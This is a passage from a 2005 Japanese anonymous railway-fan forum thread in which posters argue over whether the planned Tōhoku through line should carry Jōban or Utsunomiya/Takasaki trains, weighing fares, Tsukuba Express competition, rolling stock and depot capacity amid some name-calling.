JRにメリットがない。

488 :名無し野電車区:2005/05/05(木) 00:07:38 ID:2ZuDpWX4
>>487
常磐線はTXから客を奪い取る効果が期待できる。

489 :名無し野電車区:2005/05/05(木) 00:10:09 ID:3Ds8CmPW
>>488
TXの方が運賃高いんだから、安くはせんよ。

490 :名無し野電車区:2005/05/05(木) 00:16:37 ID:limP0KNn
>>489
地域的にTXと常磐線の中間にあり、どっちを使うか迷っている人には効果的だろう。
「常磐線運賃値下げ」と宣伝できるし。

491 :名無し野電車区:2005/05/05(木) 00:17:24 ID:YUyYsc8T
>TXから客を奪い取る効果
('A`)

492 :名無し野電車区:2005/05/05(木) 00:25:18 ID:/ZYK8P0d
>>490
電車特定区間を、千葉以西から成田以西へ拡大
地域的に京成電鉄と総武線の中間にあり、どっちを使うか迷っている人には効果的だろうw
電車特定区間を、大船以東から小田原以東へ拡大
地域的に小田急電鉄や東急電鉄と東海道線の中間にあり、どっちを使うか迷っている人には効果的だろうw
電車特定区間を、大宮以南以南から久喜以南へ拡大
地域的に東武鉄道と宇都宮線線の中間にあり、どっちを使うか迷っている人には効果的だろうw

493 :名無し野電車区:2005/05/05(木) 00:27:48 ID:yJQHpXY9
>>492
上二つはいいが、下一つは無理がある。

494 :名無し野電車区:2005/05/05(木) 00:39:27 ID:wkx33WNV
>>492
高崎線を入れろド阿呆

495 :名無し野電車区:2005/05/05(木) 00:39:53 ID:3Ds8CmPW
JRが、運賃を値引くことはせんだろう。

496 :492:2005/05/05(木) 00:40:45 ID:/ZYK8P0d
いや、まあ無理があるのを分かってて書き込んでるんだけどね。
一応蓮田−岩槻や白岡−東武動物公園あたりはTXと常磐線の距離とほぼ同じだったりするし。

497 :名無し野電車区:2005/05/05(木) 01:54:05 ID:9EUnpekS
いや、特急限定乗り入れにして、
その見返りに特別快速を特急に格上げ、20分ヘッドで運転すれば、
文句を言う奴はかなり減るかと。
00水戸までノンストップスーパーひたち
20日暮里松戸土浦石岡停車フレッシュひたち
40北千住柏土浦友部停車フレッシュひたち
うちFひたち1本勝田行、Sひたちは仙台・原ノ町・いわき行
残りのFひたちはSひたちがいわき行なら高萩行き、それ以外はいわき行で。

498 :名無し野電車区:2005/05/05(木) 02:04:26 ID:TFgnW37l
縦貫線運用の概要ってぶっちゃけいつ頃分かりそうなのよ。
ここのスレ見てると、どの辺までが現実味あるのか分からない。
なんとなく常磐線方面が鼻息荒いのだけは分かるけど。

499 :名無し野電車区:2005/05/05(木) 02:45:19 ID:Xe0Z4vwF
>>497
特急を20分ヘッドにすると、特急車両を増備しないといけないので、
それだけで数十億かかると思うよ。
それとも、531系を使って、京浜急行みたいに特急料金の要らない特急を作るかね?

500 :名無し野電車区:2005/05/05(木) 02:53:06 ID:KlcW8etL
そんな特急を出しても乗る人がいるとは思えん
新宿−取手を500円で行けるようにすればTX云々は解決
値下げの損失よりも引き戻せる人の利益の方が高ければしてくるだろう

品川なり横浜なりに延伸するなら、成田線を延ばせばいい
最近良く見る事故とかでNEXがあぼーんしても、代替ルートが確保できるし

501 :名無し野電車区:2005/05/05(木) 03:09:11 ID:YgspC26g
>>500
さすがに280円も値下げできないだろうし、他の区間との公平性の問題もある。
絶対に埼玉県が文句言ってくると思う。

502 :名無し野電車区:2005/05/05(木) 03:14:40 ID:y14lkj2M
常磐線側の値下げはないだろうね。それどころか通快廃止や特急への置き換えなどに
みられるような特急誘導の傾向が続く気が。謳い文句は「着席サービスの向上」。
千葉支社の前例もあるし。

>特急車両を増備しないといけないので、 それだけで数十億かかると思うよ。
その分中電が減車になりますから無問題です。ちょうど宇都宮・高崎線への
G車導入にあわせて115系11連がE231の10連(普通車8両)とされたみたいなもので。

503 :名無し野電車区:2005/05/05(木) 03:16:31 ID:CRi/hysC
東北高崎のみ乗り入れ厨はまともな反論ができんのか???

>やっぱり東北縦貫は宇都宮・高崎だけだと思う。
>常磐は今までどおり日中の特急のみ。
>TX対策としては利益率の高い特急を乗入れさせれば120億の損害も取り戻せる。

>JR東としては、田町の余剰地の開発の方がうまーいお話
>であるわけで。あ、これ言っちゃうとこのスレ成り立たないってヒンシュクもん
>だったんでしたっけ。

>新宿−取手を500円で行けるようにすればTX云々は解決
>値下げの損失よりも引き戻せる人の利益の方が高ければしてくるだろう

504 :名無し野電車区:2005/05/05(木) 03:22:41 ID:QxxF1iig
>>特急車両を増備しないといけないので、 それだけで数十億かかると思うよ。

>その分中電が減車になりますから無問題です。ちょうど宇都宮・高崎線への
>G車導入にあわせて115系11連がE231の10連(普通車8両)とされたみたいなもので。

特急の編成を増やした分、中電の編成を減らせば、
運用数が最大になる朝ラッシュ時に減便しないといけない。
それとも朝ラッシュ時は特急車両使用の普通列車を運転させますか?

505 :名無し野電車区:2005/05/05(木) 03:24:52 ID:ZqxbBCT6
追加:東北高崎のみ乗り入れ厨はまともな反論ができんのか???

>やっぱり東北縦貫は宇都宮・高崎だけだと思う。
>常磐は今までどおり日中の特急のみ。
>TX対策としては利益率の高い特急を乗入れさせれば120億の損害も取り戻せる。

>JR東としては、田町の余剰地の開発の方がうまーいお話
>であるわけで。あ、これ言っちゃうとこのスレ成り立たないってヒンシュクもん
>だったんでしたっけ。

>新宿−取手を500円で行けるようにすればTX云々は解決
>値下げの損失よりも引き戻せる人の利益の方が高ければしてくるだろう

>>特急車両を増備しないといけないので、 それだけで数十億かかると思うよ。
>その分中電が減車になりますから無問題です。ちょうど宇都宮・高崎線への
>G車導入にあわせて115系11連がE231の10連(普通車8両)とされたみたいなもので。

506 :名無し野電車区:2005/05/05(木) 03:35:55 ID:AjLOnmyS
結局のところ、↓のように言われてしまうと、屁理屈でしか言い返せないと思う。

>東北高崎線と東海道線との相互直通
>→利用客数は特に増減なし→減収は年120億のまま

>常磐線と東海道線との相互直通
>→TXから乗客を奪い返せる→減収を120億円以下に抑えられる可能性

>民間企業としていずれを選ぶべきか?

507 :名無し野電車区:2005/05/05(木) 04:04:04 ID:r50qhW3P
>>503
常磐厨も東北高崎厨も似たようなものですよ。
反論も何も、意味のある議論自体なされていないから仕方ありません。

常磐側はTX開業での減収対策を根拠として常磐線への直通を主張しているのですが、
TXが開業する前に、どの区間でどれだけ流出したかが分からないうちから、
上野の大改良や交流車両大量増備といった大掛かりな投資はやりにくいのです。
あくまで可能性として常磐線の乗り入れを模索してはいますが、常磐線単体での
縦貫線直通を推し進めるにはまだ時期尚早といった感じです。

508 :507:2005/05/05(木) 04:05:40 ID:r50qhW3P
宇都宮線や高崎線が絶対的に有利な点は、現状の車両や設備に大きく手を加えなくても
直通運転が可能であるところにあります。加えて東京での折り返しの本数も少なくて済み、
運用も単純でダイヤも組みやすく、効率化の面では一番優れていることも挙げられます。

>>504
特急車両の運用にはまだ余裕があるので、増備が無くとも多少の増発は可能です。

大宮方面の列車を地平ホームに押し込めばよいと主張している方もいるようですが、
なぜ今ほとんどの中電が高架ホームを利用するようになっているのかを考えて欲しいと思います。

直通形態に関する最終的な結論は、まだしばらくは出ないでしょう。
それにしても、今夜も巡回ご苦労様です(w

509 :名無し野電車区:2005/05/05(木) 07:28:40 ID:ruJ/pOhD
>常磐側はTX開業での減収対策を根拠として常磐線への直通を主張しているのですが、
>TXが開業する前に、どの区間でどれだけ流出したかが分からないうちから、
>上野の大改良や交流車両大量増備といった大掛かりな投資はやりにくいのです。

近々、分かるようになりますね。

>宇都宮線や高崎線が絶対的に有利な点は、現状の車両や設備に大きく手を加えなくても
>直通運転が可能であるところにあります。加えて東京での折り返しの本数も少なくて済み、
>運用も単純でダイヤも組みやすく、効率化の面では一番優れていることも挙げられます。

・・・と思いますが、「絶対的に」有利、という程ではないでしょうね。

>大宮方面の列車を地平ホームに押し込めばよいと主張している方もいるようですが、
>なぜ今ほとんどの中電が高架ホームを利用するようになっているのかを考えて欲しいと思います。

どういう理由からでしょうか?

510 :名無し野電車区:2005/05/05(木) 07:43:04 ID:ABHnddOI
>>507-508は、結局は丁寧語を使うだけの東北高崎厨では?
東北高崎線に「絶対的に有利」な点は指摘するのに
常磐線に有利な点には言及なし。

511 :名無し野電車区:2005/05/05(木) 07:53:11 ID:3Ds8CmPW
>>510
俺はそうは思わんが。

現状では、妥当な意見だと思われ。


512 :名無し野電車区:2005/05/05(木) 07:56:20 ID:U5UWs1Kt
だから言ってるだろ、言い回しだけは冷静っぽく見せても、所詮内容は主観のオンパレード。
まあ、おれたちの持ってる情報なんて、極々薄っぺらなものでしかないんだから仕方ないけ
どね。
自分の夢を語る場所だと思えばそれぞれの意見も微笑ましい。


513 :名無し野電車区:2005/05/05(木) 08:22:47 ID:+q0Dgtu4
ドンバラ会館化粧品提供!

514 :名無し野電車区:2005/05/05(木) 10:58:57 ID:9EUnpekS
朝ラッシュ時に通勤快速に代わって上野行ライナーが出来ると思うが>常磐線

515 :名無し野電車区:2005/05/05(木) 11:35:22 ID:/a6ReYfF
ただ何にしろ、↓は確かじゃないか?
常磐線が東京、新橋、品川に直通するようになったらかなり大きいだろう。

>東北高崎線と東海道線との相互直通
>→利用客数は特に増減なし→減収は年120億のまま

>常磐線と東海道線との相互直通
>→TXから乗客を奪い返せる→減収を120億円以下に抑えられる可能性

516 :名無し野電車区:2005/05/05(木) 12:13:38 ID:WL++XU2q
もし東北線高崎線が縦貫線に直通しなかったら、
東北線高崎線の利用を止める香具師っている?
それが多ければTXなんかに関係なく東北線高崎線の乗り入れになると思うよ。

517 :名無し野電車区:2005/05/05(木) 12:14:30 ID:3Ds8CmPW
上野発着ならTX利用
東京発着ならJR利用
こういう人がどれだけいるか?

俺は、常磐線直通でかさむ費用を吸収できるほど、
流れてくるとは思えんけど。


518 :名無し野電車区:2005/05/05(木) 12:22:38 ID:iYEIQsY+
>>515
違うな。
東北高崎線と東海道線の相互直通の場合。
大宮(野田線、川越経由東上線)、久喜(伊勢崎線)、
栗橋(日光線)等での東武からの流入増が見込めるわけだ。
しかも、こちらは常磐線と違って追加費用がかからない。
(常磐の場合は、追加費用がかかりますからな)

519 :名無し野電車区:2005/05/05(木) 12:23:14 ID:5sS70nNG
宇都宮・高崎線乗り入れ派の主張
 >507-508

常磐線乗り入れ派の主張
 >467  >504
 >471  >505
 >474  >506
 >488  >509
 >490  >510
 >503  >515
      >516

おいお前ら!そろそろスルーすることを覚えようぜ!!

520 :名無し野電車区:2005/05/05(木) 12:24:26 ID:gX0JzuuI
>>517
TXは東京まで伸びてくるから、常磐線の東京直通はあまり意味がないだろう。
ただ、東海道線に直通してオフィスの多い新橋、品川まで行けるようになると分からない。

521 :名無し野電車区:2005/05/05(木) 12:29:16 ID:B8ZGmTGh
>東北高崎線と東海道線の相互直通の場合。
>大宮(野田線、川越経由東上線)、久喜(伊勢崎線)、
>栗橋(日光線)等での東武からの流入増が見込めるわけだ。

でもさすがに120億円も増収にはならんでしょう。

522 :名無し野電車区:2005/05/05(木) 12:32:10 ID:CRi/hysC
>東北高崎線と東海道線の相互直通の場合。
>大宮(野田線、川越経由東上線)、久喜(伊勢崎線)、
>栗橋(日光線)等での東武からの流入増が見込めるわけだ。

・・・っていうか、これだと大宮、久喜、栗橋だけだよね?
常磐線とTXはかなりの区間で競合するから。

523 :名無し野電車区:2005/05/05(木) 12:40:29 ID:cBX5QvOP
まぁ何だ、交直車両しか走れない常磐線は運用の弾力性がなくなるから邪魔だが、
取手以南の231なら・・・

524 :名無し野電車区:2005/05/05(木) 12:40:48 ID:5sS70nNG
すごい自演祭だなしかもすべて単発ID
テラワロスww

525 :名無し野電車区:2005/05/05(木) 12:42:51 ID:QXDJQu7I
>>517
↓参照

220 :名無し野電車区 :2005/04/23(土) 02:06:33 ID:gnP/nnE9
常磐線乗入基本に変更するかは、投資に見合った収益が確保できるかどうかだろう。
常磐線基本に変更すると、直流車の交直流車への置き換えや、
上野10番線の東京方面進出可能化工事などで、多分100億近くかかる。
TXによる減収が年120億と見込まれるそうだが、
仮に減収を年110億に抑えられるのなら、100億近く余計に金がかかっても、
10年で元が取れる。
だが、減収を年に119億にしか抑えられないなら、元を取るのに100年かかるから、
100億近く投資する意味がない。
どの程度の投資効果があるか、それをJRがどうみるかだろう。

526 :名無し野電車区:2005/05/05(木) 12:45:56 ID:X76y9PbR
本質的な反論ができなくなるとこのようなことを言い出します。

524 :名無し野電車区 :2005/05/05(木) 12:40:48 ID:5sS70nNG
すごい自演祭だなしかもすべて単発ID
テラワロスww



527 :名無し野電車区:2005/05/05(木) 13:16:39 ID:u+267PrI
あのさ、常磐線の東京乗り入れは、国主導で取り組まれることになってるわけだが・・・

おまいらそんな事も知らないの?

528 :名無し野電車区:2005/05/05(木) 13:34:48 ID:iYEIQsY+
>>521
常磐線を東京に入れたって120億減収が0にはならないでしょ。



純粋に比較対照でいくなら、

・常磐線東京乗り入れによる増収(増収というか、TXから取り返した客による収入)-常磐線東京乗り入れにかかる費用



・東北高崎線東京乗り入れによる増収(こちらは、先ほども書いたように東武からの転移)

のどちらが大きいかということ。

529 :名無し野電車区:2005/05/05(木) 14:03:24 ID:5sS70nNG
>>522 >>528
>大宮、久喜、栗橋だけだよね?
>常磐線とTXはかなりの区間で競合するから。
大宮−春日部、久喜・栗橋以北全域・・・かなりの区間のように思えるが。幸手あたりも
十分JRが戦える範囲になりうるし。実際、今でも東武線から宇都宮線に乗り換える人は
少なくないが、それでも毎日数万人程度は東武動物公園以南へ伊勢崎腺を利用している。
そのうちのわずか1000人が移行するだけでも年間数億円は軽く稼ぎ出せる。

それと、TX開業による減収の対策には縦貫線への直通しかないのだろうか?
E531導入、特別快速設定とスピードアップ、特急増発による料金収入増などでも
ある程度の効果をあげることはできないだろうか。

530 :名無し野電車区:2005/05/05(木) 14:48:29 ID:BaN0ggt5
熱い議論の中申し訳ないが、これだけは言える!

常磐線ごときに、TXもE531系ももったいない!!!

531 :名無し野電車区:2005/05/05(木) 15:22:55 ID:WXfZmv4y
>>519

>おいお前ら!そろそろスルーすることを覚えようぜ!!

だから、東京をスルーする話をしてるんだが?
いいじゃん、どうせ言いっぱなしで、実際どうなるかなんて
直前までわからんのだから、妄想をつき合わせてさ。
但し、感情入れ込み過ぎだけなしで。


532 :名無し野電車区:2005/05/05(木) 15:31:08 ID:fdFongKD
縦貫線開業後は、東京経由の快速は設定されるんだろうか
悪茶をスルーさせるなら、宇都宮線の湘新快速置き換え?
宇都宮線・高崎線それぞれの快速毎時2本化はちょっと考えにくいしな

533 :名無し野電車区:2005/05/05(木) 15:45:48 ID:F2s63h1H
北行の平日15時のダイヤを誰か書いてくんない?

534 :名無し野電車区:2005/05/05(木) 17:42:39 ID:CFLGWDC0
>>532
そういう停車駅/系統は白紙から考える時期じゃないかな、東京縦貫開業時。

535 :名無し野電車区:2005/05/05(木) 18:05:08 ID:NZyGeCC1
東北高崎厨の変遷

@プレス発表に依拠
A運輸研報告書に依拠
BTX開業による常磐線への影響を過小評価
C東北線高崎線乗り入れによる東武からの利用客移転の過大評価

さて、お次は・・・?

536 :名無し野電車区:2005/05/05(木) 18:08:18 ID:/Z/erl+a
高崎線は全て新宿経由になります。
      JR束日本

537 :名無し野電車区:2005/05/05(木) 18:28:51 ID:BaN0ggt5
上野、東京、品川経由なんかより、池袋・新宿・渋谷経由の方が、
はるかに利用価値がありそうなんだけどな。

538 :名無し野電車区:2005/05/05(木) 18:35:34 ID:DyLiyFZ6
ぶっちゃけ、春日部市民は、東北高崎が東海道線と直通するようになったら、
野田線で大宮に出て東北高崎を利用するようになりそうなの?

539 :名無し野電車区:2005/05/05(木) 18:39:15 ID:CFLGWDC0
>>538
野田線春日部以東の人間は、現状でも春日部をスルーして大宮経由で都心に出てる。

540 :名無し野電車区:2005/05/05(木) 18:40:10 ID:/wpLS0nq
>それと、TX開業による減収の対策には縦貫線への直通しかないのだろうか?
>E531導入、特別快速設定とスピードアップ、特急増発による料金収入増などでも
>ある程度の効果をあげることはできないだろうか。

東北線高崎線に特快設定とスピードアップである程度の効果を上げることは無理そう?

541 :名無し野電車区:2005/05/05(木) 18:40:33 ID:/xJvtCyp
常磐厨の変遷

@プレス発表に危機感を感じ、縦貫線スレ荒らし
A運輸研報告書は都合が悪いので無視(→「10年も経てば内容も変わる」が口癖)
B東武からの利用客移転の影響を過小評価(→というか東武線の実態は知らない)
C常磐線乗り入れによるTXからの利用客移転の過大評価

Dそもそも、常磐線乗り入れに際してどのような課題が残されているかすら知らない
E指摘された問題点は「そんなものなんとかなる」と一蹴
F当然このスレで解決策を話し合う気などない

お次は>>526>>536のようなレスを返すとみた(ワラ

542 :名無し野電車区:2005/05/05(木) 18:40:57 ID:3Ds8CmPW
常磐厨の変遷
@プレス発表を否定
A運輸研報告書を否定
BTX開業による常磐線への影響を過大評価
C東北線高崎線乗り入れによる東武からの利用客移転の過少評価

まぁ、お互い様だな。

543 :名無し野電車区:2005/05/05(木) 18:53:40 ID:F2s63h1H
北行の平日15時のダイヤもかけんのか?
おまいら妄想バカだな。

544 :名無し野電車区:2005/05/05(木) 19:14:51 ID:9vTst8Wp
常磐120億の減収は別の方法で補え。
上野−東京間の混雑緩和、車両運用の共通化は別の方法がない。

>>543
自分でできないことを他人に押し付けるヴァカ。働け。

545 :名無し野電車区:2005/05/05(木) 19:20:21 ID:3Ds8CmPW
TXで120億の減収と言っているようだが(JR東日本)、
現在、常磐線の収入の総額はいくらなんだ?

546 :名無し野電車区:2005/05/05(木) 19:36:10 ID:F2s63h1H
>>544
おれはできるけど、ここがあまりに程度が低いから出さない。
おまいら北海道新幹線のスレでも見て少し勉強しろよ。
プロ市民のクズどもとかワンないぞ。

547 :名無し野電車区:2005/05/05(木) 20:28:34 ID:CtnfYR6K
混雑緩和はともかく、車両だけはどうしようもない。
交直流車の存在を無視したとしても、東マトの全てのE231の編成にトイレをつけ(55両)、
セミクロに改造し、G車を組み込むだけでも数年はかかるだろうに。
余剰サハの行き場も想像が付きにくいな。203系の置き換え・・・はさすがに無いか。

548 :名無し野電車区:2005/05/05(木) 22:27:47 ID:TiIIPS7r
>>547
というより、東海道線・常磐線でE231系とE531系とを4:6くらいの比率で
用意する必要があるので、松戸のE231系をE531系に置き換える必要がある。
その際は、増備のE531系に最初からグリーン車を組み込むとともに、
元からあるE531系にもグリーン車を追加し、捻出サハは増備車に回すことになろう。
問題は、松戸から捻出されるE231系の転出先。
通勤タイプで、かつ6ドアが入ってないので、中央快速線か京葉線あたりだろうか?

549 :名無し野電車区:2005/05/05(木) 22:38:06 ID:MVRlrfi8
>東北高崎線と東海道線との相互直通
>→利用客数は特に増減なし→減収は年120億のまま

>常磐線と東海道線との相互直通
>→TXから乗客を奪い返せる→減収を120億円以下に抑えられる可能性

↑基地外のようにこのコピペを繰り返す香具師は
 なぜ支出の差について意図的に触れないのか?

550 :名無し野電車区:2005/05/05(木) 22:43:01 ID:INhPR4KP
>常磐120億の減収は別の方法で補え。
>上野−東京間の混雑緩和、車両運用の共通化は別の方法がない。

上野〜東京の混雑緩和は常磐線乗り入れでも可能。

東海道線〜東北線・高崎線の場合でも、
@国府津E231系、A田町(→国府津)211系、B小山E231系、C新前橋211系で、
運用は4パターン発生する。「共通運用」にはならない。
ACの「共通運用」は難しい。
@Bは「共通運用」できなくはないが、@B合わせて基本編成が83編成だと、
予備編成が2本は必要。
@Bを別々の運用にしても、それぞれで1本ずつ予備編成がいるから、
運用を共通化するメリットはあまりない。
ACは、縦貫線が開業する頃にはE231系の後継機に置き換わっている可能性があり、
そうなれば@〜Cを「共通運用」させることも可能かもしれない。
ただ、後継機は130`運転対応と見られるので、
「共通運用」をすると120`運転に抑える必要がある。

551 :名無し野電車区:2005/05/05(木) 22:45:33 ID:G62rSaVb
>>549

>>220

552 :名無し野電車区:2005/05/05(木) 22:53:05 ID:6oV5ewuS
>>550
>@Bは「共通運用」できなくはないが、@B合わせて基本編成が83編成だと、予備編成が2本は必要。

国府津車は倒壊乗り入れ可。小山車は倒壊乗り入れ不可。

共通運用は同様に難しいかと。

553 :名無し野電車区:2005/05/05(木) 22:53:26 ID:MVRlrfi8
>>551
>>220は基地外と同類ではないと思うのだが。

554 :名無し野電車区:2005/05/05(木) 23:04:03 ID:owbRj/w1
>>552
小山車を若干改良すれば入れると思う。

555 :名無し野電車区:2005/05/05(木) 23:06:59 ID:MeNhXKE7
結局>>544は無知を晒した。

544 :名無し野電車区 :2005/05/05(木) 19:14:51 ID:9vTst8Wp
常磐120億の減収は別の方法で補え。
上野−東京間の混雑緩和、車両運用の共通化は別の方法がない。



556 :名無し野電車区:2005/05/05(木) 23:10:39 ID:6oV5ewuS
>>554
若干てなによ?

557 :名無し野電車区:2005/05/05(木) 23:14:17 ID:MVRlrfi8
>>556
常磐直通のために交直流車を大量に増備する金と比べりゃ安いもんだと思うが。

558 :名無し野電車区:2005/05/05(木) 23:46:14 ID:QTx2mfgS
やっぱり東北縦貫は宇都宮・高崎だけだと思う。
常磐は今までどおり日中の特急のみ。
TX対策としては利益率の高い特急を乗入れさせれば120億の損害も取り戻せる。
ほかの快速・中電は入れる必要ない。
常磐厨さあ、妄想はそれくらいにしてJRのプレスもう一度よく読むんだな。

これだけは言える、常磐線(特急除く)は東北縦貫線に乗入れることは


絶対ありえない!!


559 :名無し野電車区:2005/05/05(木) 23:47:24 ID:CtnfYR6K
>>548
松戸に交直流車を扱ったりトイレの処理したりする施設ってあったっけ?
転用先にしても中央線はE231の後継を入れるというのがもっぱらの噂だし、
千ケヨの201置き換えにしてもE331登場も迫っているし、どうしたものか。

>>550
運用を完全に共通化する必然性ってあるの?
まあ車両が共通ならダイヤが乱れた際に臨機応変に運用を変更できるという
メリットがあるのは確かだけど。

>>551
>>220は全然答えになってねえよ

>>555
>>541の予告通りだな

>>558
('A`)

560 :名無し野電車区:2005/05/06(金) 00:02:53 ID:WXfZmv4y
>>552
倒壊乗り入れは縮小の方向。
211に任せていいのでは?

561 :名無し野電車区:2005/05/06(金) 00:33:34 ID:kJBypwzR
>>560
211系も新前橋車は倒壊乗入できません。

562 :名無し野電車区:2005/05/06(金) 00:39:56 ID:c67myWKr
>>559
松戸と勝田を統廃合して我孫子に一本化すればありかと思う。
水戸支社にするか東京支社にするかが難しいけど。
松戸には便洗抜取施設はなかったと思うけど、松戸は緩行線の車両中心で、
E231系の所属実態は便洗抜取施設のある我孫子みたいなものだから。

563 :名無し野電車区:2005/05/06(金) 00:43:37 ID:mB9dMcEh
>>556
東海のATSが必要なんじゃなかったっけ?

>>561
東海のATSを付ければ入れるかね?

564 :名無し野電車区:2005/05/06(金) 00:47:59 ID:rHas4vGe
>TX対策としては利益率の高い特急を乗入れさせれば120億の損害も取り戻せる。

・・・・・・・・・。

565 :名無し野電車区:2005/05/06(金) 00:52:45 ID:pxgzhsgR
踊り子ひたち
スーパー踊り子ひたち

566 :名無し野電車区:2005/05/06(金) 01:05:18 ID:UKfFsWmy
いかにコストかけずに最大限の効果を上げるかだろ。
>>548みたいになったらどんだけの支出になると思ってんだ?
>>550はズレてるので問題外だが。
で、結局は>>549ってことだな。

567 :名無し野電車区:2005/05/06(金) 01:20:29 ID:xGOdBM+z
>>566
交直流車も以前に比べれば安くなった。直流車よりもやや割高な程度。
ただJR東日本は車両製造費を公開していないので具体的な金額はいえない。

568 :名無し野電車区:2005/05/06(金) 01:22:46 ID:kJBypwzR
1億円/両

569 :名無し野電車区:2005/05/06(金) 01:33:16 ID:yb74dZJi
常磐線の扱いについて、
日中:時間3本の特急が東京発着で設定されて、残る普通快速は上野発着。特別快速イラネ。
ラッシュ:651系&E653系使用の通勤ライナー上野発着を約20分間隔で設定。通勤快速は廃止。

これでいい。
冷遇されていると思う事無かれ、朝ラッシュ時にたった500円の追加料金でリクライニングシート車に乗れてしかもそれが
20分おきに来るなんて通勤ライナー街道東海道でもありえない。(特にピーク時だとボックス席に当たる可能性の方が高い。)
新幹線なんか最低でも840円余計に取られることを考えるとだいぶ優遇された感じがするぐらい。

570 :名無し野電車区:2005/05/06(金) 01:43:40 ID:Z7nX9mAp
東海直通列車が残っているのは留置場所の問題が大きいのだから、
縦貫線開業の際に熱海や小田原での折り返しを調整し、可能な限り北側
(尾久とか大宮とか籠原とか)に寝かせられるようにできれば、
沼津方面への直通列車はかなり削減できるのではないだろうか。
乗り入れ距離の精算とか実際の流動とかは考えていないが。

>>569
貨物線や湘新・横須賀線といった逃げ道のある東海道とは違う
常磐はもちろん宇都宮・高崎線でも最ピーク時のライナー設定はありえない

571 :名無し野電車区:2005/05/06(金) 01:57:56 ID:3BHDHSm7
>>570
沼津への夜間停泊の問題なんだけど、沼津停泊を北側に移すのは難しいと思う。
相当遅い時間に東海道線上り上野行、大宮行、籠原行を設定するか、
相当早い時間に送り込みのために上野、大宮、籠原など発の小田原行とか
熱海行などを設定する必要が出てくると思う。
翌朝のラッシュに備える意味でも、田町、尾久、大宮など東京に近いところには
できるだけ置かない方がいい。
東海道線側なら、茅ヶ崎にまだ何本か電留線を作るスペースがあるし、
真鶴や湯河原の側線も、早川のような形で夜間停泊に使えると思う。

572 :名無し野電車区:2005/05/06(金) 02:02:10 ID:17KsUqTn
東北縦貫線は冷遇されてきた常磐線を入れてあげてもいいような気がする。
交直両用電車の問題はあるが、直流電車限定で[快速]取手⇔品川とかは無理かな?
自分は赤羽利用者なので常磐線には縁は薄いけどね。

573 :名無し野電車区:2005/05/06(金) 02:12:56 ID:h5YdUgKw
>>571
湯河原は上り1番にE257系が夜間停泊している。

>>572
交直流車は、T車は直流車とそんなに値段は変わらない。
ただ、M車は幾分割高。
それでも、MT比ではT車の割合が増えてきてるので、
以前よりは編成あたりの製造費は安くなっているはず。

574 :名無し野電車区:2005/05/06(金) 02:38:47 ID:Z7nX9mAp
湯河原のE257は翌朝の3724Mか。
朝のライナーを来宮とか熱海とか湯河原だとかからわざわざ小田原や平塚まで
回送させなければいけないあたり、よほど南側は電留線不足なんだな。

575 :名無し野電車区:2005/05/06(金) 08:20:13 ID:4OlnfoFZ
常磐線を東京方面に直通させる場合、快速も直通させるということ?
それとも中電だけ?

昼間帯に中電だけ品川まで直通させることぐらいならできるのでは?
品川ならホームに余裕があるし、品川ぐらいまでの限定乗入れなら、
交直両用を乗入れてももったいなくないのでは?



576 :名無し野電車区:2005/05/06(金) 09:02:12 ID:UKfFsWmy
データイムにだけ直通させるということに
どれだけの意味があるのだろう。
中電の利用客ってそんないるかな?

どうせなら快速を京浜東北に直通させ(ry


577 :名無し野電車区:2005/05/06(金) 09:42:23 ID:PcGmOVc2
結局、東海道・高崎・東北線の東京近郊の夜間留置って現状でも相当に逼迫
してるってことなの?
ってことは、ここで前から話題になっている田町の留置線縮小と都心の土地
捻出は、ありえないってこと?

578 :名無し野電車区:2005/05/06(金) 10:39:32 ID:cnsGudVS
>>577
田町は寝台関係の部分を再開発。
電車関係の部分は、若干の縮小はあるかもしれないけど、大幅縮小はない。
田町に夜間停泊する一部編成を尾久に移すらしいけど。

579 :名無し野電車区:2005/05/06(金) 13:20:12 ID:t5E4m0mp
てかマジ常磐厨うざい。
プレス嫁。

580 :名無し野電車区:2005/05/06(金) 14:12:57 ID:xYpz8hrs
>>578
田町の中身に随分詳しいなw

>>579
負け組み常磐厨、せめて妄想だけはさせてやろうぜw


581 :名無し野電車区:2005/05/06(金) 14:29:06 ID:EuSlsMZM
>>580
> >>578
> 田町の中身に随分詳しいなw
普通知ってるだろ。このスレがいかにレベルが低いか┐(゚〜゚)┌

582 :名無し野電車区:2005/05/06(金) 17:58:46 ID:4OlnfoFZ
東北縦貫線ができたら、上野駅の地平ホームがいらなくなるのじゃないか?
少なくとも一部は?

それkら、東北線は、高架ホームに接続する複線と地平ホームに接続する
複線が尾久付近まで並行しているが、線路容量的に複線一つで済むように
なるのではないか?


583 :名無し野電車区:2005/05/06(金) 18:19:50 ID:4OlnfoFZ
現行の計画でも、さらに常磐線の中電を品川まで、快速を上野〜秋葉原間の
3本目の線路使用して秋葉原まで(秋葉原にホームを設置することが前提と
なるが)、延長するぐらいできそうなものだが。

584 :中央線快速電車の矛盾を解決。:2005/05/06(金) 18:23:00 ID:yjygxetE
中央線快速電車の課題について、提言しています。
是非、ご協力のほどお願いします。
http://www.chiba-jp.com/kadai/kadai06-2.html

585 :名無し野電車区:2005/05/06(金) 18:52:22 ID:xYpz8hrs
581 :名無し野電車区 :2005/05/06(金) 14:29:06 ID:EuSlsMZM
>>580
> >>578
> 田町の中身に随分詳しいなw
普通知ってるだろ。このスレがいかにレベルが低いか┐(゚〜゚)┌



586 :名無し野電車区:2005/05/06(金) 18:57:25 ID:UKfFsWmy
>>585
昨日だかに湧いた「北行のダイヤ書いてくんない?」とか言ってた池沼だろ?
もちろん田町の中身書いた奴とは別人。

587 :名無し野電車区:2005/05/06(金) 19:55:11 ID:MJjXw6Di
地平ホーム縮小したら、その跡地を絡めてエキナカ開業
同時に新幹線乗換への動線や入谷口を改良・・・くらいのことはしてもらいたい。

588 :名無し野電車区:2005/05/06(金) 20:55:15 ID:/tJ55QCz
>東北線は、高架ホームに接続する複線と地平ホームに接続する
>複線が尾久付近まで並行しているが、線路容量的に複線一つで済むように
>なるのではないか?
ここの線路は、高架ホームの列車を支障させずに東北・常磐線側から
尾久に入庫させるのに必要。ラッシュ時に地平ホームを使用しなくてすむ
ほど混雑が緩和されない限りは無理。


589 :名無し野電車区:2005/05/06(金) 21:53:49 ID:jHg8dh1i
いくら宇都宮線宇都宮線と呼んでも、東京〜上野はやっぱり東北線
できるのも東北縦貫線
青森まで脈々と続く、東北線。

590 :名無し野電車区:2005/05/06(金) 22:16:57 ID:BF246quu
いくら埼京線埼京線と呼んでも、赤羽〜大宮はやっぱり東北線
できるのも東北通勤別線
青森まで脈々と続く、東北線。

591 :名無し野電車区:2005/05/06(金) 23:33:06 ID:7UPuk4Qn
